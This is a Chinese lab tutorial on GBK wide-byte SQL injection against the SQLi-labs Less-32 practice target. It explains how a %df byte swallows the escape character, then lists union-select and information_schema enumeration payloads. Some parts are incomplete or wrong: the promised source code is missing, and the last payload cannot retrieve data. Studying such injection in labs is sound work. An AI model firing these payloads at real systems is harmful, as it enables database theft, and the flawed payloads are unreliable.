宽字节注入

宽字节注入准确来说不是注入手法，而是另外一种比较特殊的情况。
为了说明宽字节注入问题，我们以SQLi-labs 32 关为例子。

第一节 构造绕过代码

[http://192.168.139.136/sqli-labs-master/Less-32/]

[http://192.168.139.136/sqli-labs-master/Less-32/?id=1]

[http://192.168.139.136/sqli-labs-master/Less-32/?id=1%27]

此时，转义后的单引号不再是字符串的标识，会被作为普通字符带入数据库查询。也就是说，我们提交的单引号不会影响到原来SQL 语句的结构。
[http://192.168.139.136/sqli-labs-master/Less-32/?id=1%df%27%20and%201=1%20--+]

[http://192.168.139.136/sqli-labs-master/Less-32/?id=1%df%27%20and%201=2%20--+]
说明：此时的单引号成功进入数据库查询语句中，实现id处的闭合

第二节注入原理

我们通过阅读32 关的源码，发现几句非常意思的代码，如下:

此网页在连接数据库时，会将字符编码设置为GBK 编码集合，然后进行SQL 语句拼接，最后进行数据库查询。
GBK编码依然采用双字节编码方案，其编码范围：8140－FEFE，剔除xx7F码位，共23940个码位。共收录汉字和图形符号21886个，其中汉字（包括部首和构件）21003个，图形符号883个。GBK编码支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字，并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布，这一版的GBK规范为1.0版。
转移字符[] 的编码是5c，正好在GBK 编码范围之内，也就是说我们可以在单引号之前提交一个十六进制编码的字符，与5c 组成一个GBK 编码的汉字。这样SQL 语句传入数据库的时候，转移字符5c ，会被看作GBK 汉字的低位字节编码，从而失去转义的作用。
如果我们提交这样的参数[?id=1000%df' union select 1,2,3 --+]，就可以使用联合查询进行注入了。

Id=1’-----id=1\’-----id=1%5c%27
Id=1%fd’-----id=1%df%5c%27-----id=1%DF5C%27-----ID=1運’
0xdf5c 就是一个汉字"運"。

第三节代码审计

第四节注入实操

判断字段个数

[?id =1 %df’ order by 1 --+ ]
[?id =1 %df’ order by 2 --+ ]
[?id =1 %df’ order by 3 --+ ]

判断显示位置

[?id =1 %df’ and 1=2 union select 1,2,3 --+ ]

判断数据库版本何当前数据库名

[?id =1 %df’ and 1=2 union select 1,version(),database() --+ ]

数据库中的表名

[id=1%df%5c%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+]

表中字段

[?id=1%df%5c%27and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x75736572),3--+]
where table_name=’user’，注意，user用引号括起来，但是会被转义：在16进制的表名前再加个0x，user转换成16进制是75736572。

字段内容

[?id=1%df’and 1=2 union select 1,(select group_concat(0x75736572) from information_schema.columns where table_name=0x75736572 limit 0,1),3--+]

免责声明

本文档供学习，请使用者注意使用环境并遵守国家相关法律法规!
由于使用不当造成的后果上传者概不负责！